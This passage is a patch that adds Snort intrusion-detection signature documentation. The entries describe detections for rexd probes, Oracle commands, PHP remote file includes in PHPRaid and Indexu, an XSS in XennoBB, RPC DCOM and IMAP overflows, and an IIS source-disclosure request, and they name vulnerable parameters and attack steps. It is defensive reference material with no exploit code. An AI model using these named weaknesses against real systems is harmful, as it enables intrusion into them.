+This event is generated when an attempt is made through a portmap GETPORT request to discover the port where the Remote Procedure Call (RPC) rexd is listening.
+
+--
+Impact:
+Information disclosure.  This request is used to discover which port rexd is using.  Attackers can also learn what versions of the rexd protocol are accepted by rexd.
+
+--
+Detailed Information:
+The portmapper service registers all RPC services on UNIX hosts. It can be queried to determine the port where RPC services such as rexd run.  The rexd RPC service allows remote program execution.  If weak authentication is used, an attacker may run arbitrary commands as a user other than root.
+
+--
+Affected Systems:
+AIX 4.0
+Compaq Tru64 UNIX (Any version)
+HP-UX 10.20
+HP-UX 11
+Red Hat Linux 6.0
+Red Hat Linux 7.x
+Solaris 2.5.1
+Solaris 2.6
+Solaris 7
+Solaris 8
+
+--
+Attack Scenarios:
+An attacker can query the portmapper to discover the port where rexd runs.  This may be a precursor to accessing rexd.
+
+--
+Ease of Attack:
+Simple.  
+
+--
+False Positives:
+If a legitimate remote user is allowed to access rexd, this rule may trigger.
+
+--
+False Negatives:
+This rule detects probes of the portmapper service for rexd, not probes of the rexd service itself. Because RPC services often listen on fairly arbitrary ports, it may not be possible to detect misuses of the rexd service itself. An attacker may attempt to go directly to the rexd port without querying the portmapper service which, would not trigger the rule.
+
+--
+Corrective Action:
+Limit remote access to RPC services.
+
+Filter RPC ports at the firewall to ensure access is denied to RPC-enabled machines. 
+
+Disable unneeded RPC services.
+
+--
+Contributors:
+Original rule written by Max Vision <vision@whitehats.com>
+Modified by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Bugtraq
+http://www.securityfocus.com/bid/37
+
+CERT
+http://www.cert.org/advisories/CA-1992-05.html
+
+Arachnids 
+http://www.whitehats.com/info/IDS23
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1689.txt
+++ snort-2.8.5.2/doc/signatures/1689.txt
@@ -0,0 +1,70 @@
+Rule:  
+
+--
+Sid: 1689
+
+-- 
+
+Summary: 
+This event is generated when a command is issued to an Oracle database server that may result in a serious compromise of the data stored on that system.
+
+-- 
+Impact: 
+Serious. An attacker may have gained superuser access to the system.
+
+--
+Detailed Information:
+This event is generated when an attacker issues a special command to an Oracle database that may result in a serious compromise of all data stored on that system.
+
+Such commands may be used to gain access to a system with the privileges of an administrator, delete data, add data, add users, delete users, return sensitive information or gain intelligence on the server software for further system compromise.
+ 
+This connection can either be a legitimate telnet connection or the result of spawning a remote shell as a consequence of a successful network exploit. 
+
+Oracle servers running on a Windows platform may listen on any arbitrary
+port. Change the $ORACLE_PORTS variable in snort.conf to "any" if this
+is applicable to the protected network.
+
+--
+
+Attack Scenarios: 
+Simple. These are Oracle database commands.
+
+-- 
+
+Ease of Attack: 
+Simple.
+
+-- 
+
+False Positives: 
+This event may be generated by a database administrator logging in and issuing database commands from a location outside the protected network.
+
+--
+False Negatives:
+Configure your ORACLE_PORTS variable correctly for the environment you are in. 
+In many situations ORACLE negotiates a communication port. This means that 1521 
+and 1526 are not used for communication during the entire transaction. A new 
+port is negotiated after the initial connect message, all communication after 
+that uses this other port. If you are in an environment such as this, you should 
+set ORACLE_PORTS to "any" in snort.conf. 
+ 
+Otherwise, there are no known false negatives.
+
+-- 
+
+Corrective Action: 
+Use a firewall to disallow direct access to the Oracle database from sources external to the protected network.
+Ensure that this event was not generated by a legitimate session then investigate the server for signs of compromise
+
+Look for other events generated by the same IP addresses.
+
+--
+Contributors: 
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1943.txt
+++ snort-2.8.5.2/doc/signatures/1943.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1943
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000722.txt
+++ snort-2.8.5.2/doc/signatures/100000722.txt
@@ -0,0 +1,55 @@
+
+
+Rule:
+
+--
+Sid:
+100000722
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "PHPRaid" application running on a webserver. Access to the file "lua_output.php" using a remote file being passed as the "phpraid_dir" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "phpraid_dir" parameter in the "lua_output.php" script used by the "PHPRaid" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using PHPRaid
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/1171.txt
+++ snort-2.8.5.2/doc/signatures/1171.txt
@@ -0,0 +1,58 @@
+Rule:  
+
+Sid:
+1171
+
+--
+
+Summary:
+This event is generated when an attempt is made to evade an
+IDS in a possible web attack by sending an obfuscated request 
+using HEAD.
+
+--
+Impact:
+Unknown.
+
+--
+Detailed Information:
+Some CGI attacks can be accomplished by using HEAD instead of GET.
+This method can be used by an attacker to obfuscate attacks or
+reconnaissance in an attempt to evade IDS systems.
+
+--
+Affected Systems:
+	All systems running a web server.
+ 
+--
+Attack Scenarios:
+An attacker runs an automated tool, like Whisker, or sends a hand-crafted
+attack to a web server
+
+--
+Ease of Attack:
+Simple. Automated tools are available.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Examine the packet to determine what kind of attack or probe was launched.
+
+--
+Contributors:
+Original rule writer unknown
+Original document author unkown
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1292.txt
+++ snort-2.8.5.2/doc/signatures/1292.txt
@@ -0,0 +1,68 @@
+Rule:
+
+--
+Sid: 
+1292
+
+--
+Summary: 
+This may be post-compromise behavior indicating the use of Windows
+directory listing tools.
+
+--
+Impact: 
+Varies, an attacker might have gained an ability to execute commands remotely
+
+--
+Detailed Information:
+This rule is aimed at catching the standard Windows commands for
+listing directories. The string "Volume Serial Number" is typically shown in
+front of the directory listing on Windows NT/2000/XP.  Seeing such a
+response in the HTTP traffic indicates that somebody have managed to
+"convince" the web server to spawn a shell bound to a web port and
+have successfully executed at least one command to list the
+directory. Note that the source address of this signature is actually
+the victim and not the attacker as for the exploit signatures.
+
+--
+Affected Systems:
+	Microsoft Windows systems
+
+--
+Attack Scenarios:
+An attacker gains an access to a Windows web server via IIS vulnerability 
+and manages to start a cmd.exe shell. He then proceeds to look for 
+interesting files on the compromised server via the "dir" command.
+
+--
+Ease of Attack: 
+Simple. This post-attack behavior can accompany different attacks.
+
+--
+False Positives: 
+The rule will generate an event if the string "Volume Serial Number" appears in the 
+content distributed by the web server, in which case the rule should be 
+tuned.
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action: 
+Investigate the web server for signs of compromise,
+
+Use system integrity checking software, check for other IDS alerts
+involving the same IP addresses.
+
+--
+Contributors: 
+Snort documentation contributed by Anton Chuvakin <http://www.chuvakin.org>
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1695.txt
+++ snort-2.8.5.2/doc/signatures/1695.txt
@@ -0,0 +1,70 @@
+Rule:  
+
+--
+Sid: 1695
+
+-- 
+
+Summary: 
+This event is generated when a command is issued to an Oracle database server that may result in a serious compromise of the data stored on that system.
+
+-- 
+Impact: 
+Serious. An attacker may have gained superuser access to the system.
+
+--
+Detailed Information:
+This event is generated when an attacker issues a special command to an Oracle database that may result in a serious compromise of all data stored on that system.
+
+Such commands may be used to gain access to a system with the privileges of an administrator, delete data, add data, add users, delete users, return sensitive information or gain intelligence on the server software for further system compromise.
+ 
+This connection can either be a legitimate telnet connection or the result of spawning a remote shell as a consequence of a successful network exploit. 
+
+Oracle servers running on a Windows platform may listen on any arbitrary
+port. Change the $ORACLE_PORTS variable in snort.conf to "any" if this
+is applicable to the protected network.
+
+--
+
+Attack Scenarios: 
+Simple. These are Oracle database commands.
+
+-- 
+
+Ease of Attack: 
+Simple.
+
+-- 
+
+False Positives: 
+This event may be generated by a database administrator logging in and issuing database commands from a location outside the protected network.
+
+--
+False Negatives:
+Configure your ORACLE_PORTS variable correctly for the environment you are in. 
+In many situations ORACLE negotiates a communication port. This means that 1521 
+and 1526 are not used for communication during the entire transaction. A new 
+port is negotiated after the initial connect message, all communication after 
+that uses this other port. If you are in an environment such as this, you should 
+set ORACLE_PORTS to "any" in snort.conf. 
+ 
+Otherwise, there are no known false negatives.
+
+-- 
+
+Corrective Action: 
+Use a firewall to disallow direct access to the Oracle database from sources external to the protected network.
+Ensure that this event was not generated by a legitimate session then investigate the server for signs of compromise
+
+Look for other events generated by the same IP addresses.
+
+--
+Contributors: 
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2998.txt
+++ snort-2.8.5.2/doc/signatures/2998.txt
@@ -0,0 +1,66 @@
+Rule:
+
+--
+Sid:
+2998
+
+--
+Summary:
+This event is generated when an attempt is made to shutdown a Windows
+system via SMB. 
+
+--
+Impact:
+Serious.
+
+--
+Detailed Information:
+This event indicates that an attempt was made to shutdown a Windows
+system via SMB across the network.
+
+It may be possible for an attacker to manipulate a Windows system
+from a remote location. Shutting down a system may lead to a Denial of
+Service for the target host.
+
+--
+Affected Systems:
+	Microsoft Windows systems.
+
+--
+Attack Scenarios:
+An attacker may be able to manipulate a target system using SMB. The
+attacker may gain complete control over the affected system.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check the host for signs of system compromise.
+
+Turn off file and print sharing on the target host.
+
+Use a packet filtering firewall to disallow SMB access to the host from
+sources external to the protected network.
+
+Disallow remote registry manipulation.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1710.txt
+++ snort-2.8.5.2/doc/signatures/1710.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1710
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/943.txt
+++ snort-2.8.5.2/doc/signatures/943.txt
@@ -0,0 +1,68 @@
+Rule:
+
+--
+Sid:
+943
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a web server running Microsoft FrontPage
+Server Extensions.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases. Denial of
+Service is possible.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running Microsoft FrontPage Server Extensions. Many known
+vulnerabilities exist for this platform and the attack scenarios are
+legion.
+
+In this case an attempt is being made to access the executable file
+fpsvradm.exe from resources external to the protected network.
+
+--
+Affected Systems:
+	All systems running Microsoft FrontPage Server Extensions
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Many exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Microsoft:
+http://www.microsoft.com/resources/documentation/office/2000/all/reskit/en-us/75t4_3.mspx
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1405.txt
+++ snort-2.8.5.2/doc/signatures/1405.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1405
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1131.txt
+++ snort-2.8.5.2/doc/signatures/1131.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1131
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000566.txt
+++ snort-2.8.5.2/doc/signatures/100000566.txt
@@ -0,0 +1,63 @@
+Rule:
+
+--
+Sid:
+100000566
+--
+Summary:
+This event is generated when an attempt is made to exploit a cross site 
+scripting vulnerability in the "XennoBB" application running on a webserver.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit a cross site 
+scripting vulnerability via the "tid" parameter in the "messages.php" script 
+used by the "XennoBB" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to retrieve sensitive data, execute system binaries 
+or malicious code of the attackers choosing.
+
+--
+Affected Systems:
+All systems running CGI applications using XennoBB
+--
+Attack Scenarios:
+An attacker can supply a malicious link designed to steal information from a 
+user clicking on that link.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+The Cross Site Scripting (XSS) FAQ
+http://www.cgisecurity.com/articles/xss-faq.shtml
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/2330.txt
+++ snort-2.8.5.2/doc/signatures/2330.txt
@@ -0,0 +1,63 @@
+Rule:
+
+--
+Sid:
+2330
+
+--
+Summary:
+This event is generated when a remote user sends an overly long string 
+to an IMAP server via the command AUTH. This may indicate an attempt to 
+exploit a buffer overflow condition.
+
+--
+Impact:
+Serious. Possible remote execution of arbitrary code, which may lead to
+a remote root compromise.
+
+--
+Detailed Information:
+When a large amount of data is sent to a vulnerable IMAP server in the 
+AUTHENTICATE command, a buffer overflow condition may occur. This can 
+allow the attacker to execute arbitrary code, which may allow the 
+attacker to gain root access to the compromised server.
+
+--
+Affected Systems:
+	IMAP servers
+
+--
+Attack Scenarios:
+An attacker can send a sufficiently long AUTHENTICATE command to the 
+IMAP server, creating a buffer overflow condition. This can then allow 
+the attacker to execute code of their choosing and possibly gain root 
+access to the compromised server.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate patches for your operating system.
+
+Check the host for signs of compromise.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3424.txt
+++ snort-2.8.5.2/doc/signatures/3424.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3424
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000609.txt
+++ snort-2.8.5.2/doc/signatures/100000609.txt
@@ -0,0 +1,74 @@
+Rule:
+
+--
+Sid:
+100000609
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "Indexu" application running on a webserver. 
+Access to the file "link_bad_delete.php" using a remote file being passed as 
+the "admin_template_path" parameter may indicate that an exploitation attempt 
+has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "admin_template_path" parameter in the 
+"link_bad_delete.php" script used by the "Indexu" application running on a 
+webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Indexu
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/326.txt
+++ snort-2.8.5.2/doc/signatures/326.txt
@@ -0,0 +1,72 @@
+Rule: 
+
+--
+Sid: 326
+
+-- 
+
+Summary: 
+This event is generated when a remote command execution exploit against
+a finger daemon is attempted.
+
+-- 
+Impact: 
+Serious. The attacker may be presented with the opportunity to run a
+command of his choice on the target UNIX system
+
+--
+Detailed Information:
+This event is generated when a specific attack against a vulnerable
+version of finger daemon is detected. 
+
+The Finger daemon is used to provide information about users on a UNIX
+system. It used to be installed and enabled by default on most
+UNIX/Linux systems. The attack may allow an attacker to execute a
+command remotely on a target system with the privileges of the user
+running the "finger" daemon. The user is usually defined in the
+/etc/inetd.conf file and is commonly designated as "nobody".
+
+--
+Attack Scenarios:  
+An attacker may try the attack and then executes a command to download a
+backdoor to the target system. He then connects to the system and may
+attempt to escalate his privileges by exploiting a local SUID
+application to gain "root" privileges.
+
+-- 
+Ease of Attack: 
+Simple, no exploit software is required, just a specially formatted finger query
+
+-- 
+False Positives: 
+None Known
+
+--
+False Negatives: 
+None Known
+
+-- 
+Corrective Action: 
+Disable the finger daemon or limit the addresses that can access the
+service via firewall or TCP wrappers.
+
+--
+Contributors: 
+Original rule written by Max Vision <vision@whitehats.com>
+Snort documentation contributed by Anton Chuvakin <http://www.chuvakin.org>
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+Arachnids:
+http://www.whitehats.com/info/IDS379
+
+Bugtraq:
+http://online.securityfocus.com/bid/974
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0150
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1629.txt
+++ snort-2.8.5.2/doc/signatures/1629.txt
@@ -0,0 +1,56 @@
+Rule:
+
+--
+Sid:
+1629
+
+--
+Summary:
+This event is generated when network traffic indicating the use of an
+IDS system on the protected network is detected.
+
+--
+Impact:
+These tools may be used to compromise data on the network or may
+indicate mis-use of other IDS systems.
+
+--
+Detailed Information:
+This event indicates the use of an IDS tool. The source of the event
+should be investigated carefully. These tools may be used to gather data
+present in traffic on the protected network.
+
+--
+Affected Systems:
+	All networks.
+
+--
+Attack Scenarios:
+An unathorized user could use an IDS to gather data and observe traffic
+present on the network.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000577.txt
+++ snort-2.8.5.2/doc/signatures/100000577.txt
@@ -0,0 +1,74 @@
+Rule:
+
+--
+Sid:
+100000577
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "Indexu" application running on a webserver. 
+Access to the file "cat_path_update.php" using a remote file being passed as 
+the "admin_template_path" parameter may indicate that an exploitation attempt 
+has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "admin_template_path" parameter in the 
+"cat_path_update.php" script used by the "Indexu" application running on a 
+webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Indexu
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/1016.txt
+++ snort-2.8.5.2/doc/signatures/1016.txt
@@ -0,0 +1,56 @@
+Rule:
+
+--
+Sid:
+1016
+
+--
+Summary:
+This event is generated when an attempt is made to craft a URL containing a reference to the "/global.asa" file.
+
+--
+Impact:
+Intelligence gathering.  This attack may permit disclosure of the source code of global.asa file that is not normally available for viewing.
+
+--
+Detailed Information:
+Microsoft Internet Information Services (IIS) 5.0 contains scripting engines to support various advanced files types such as .ASP and .HTR.  The scripting engines permit the execution of server-side processing.  IIS determines which scripting engine is appropriate depending on the file extension.  If an attacker crafts a URL request ending in 'Translate: f' and followed by a slash '/', IIS fails to send the file to the appropriate scripting engine for processing.  Instead, it returns the source code of a referenced file, such as global.asa, to the browser.  The Nessus vulnerability scanner references the global.asa file in a GET request to determine whether a host is susceptible to this exploit.
+
+--
+Affected Systems:
+Microsoft IIS 5.0
+
+--
+Attack Scenarios:
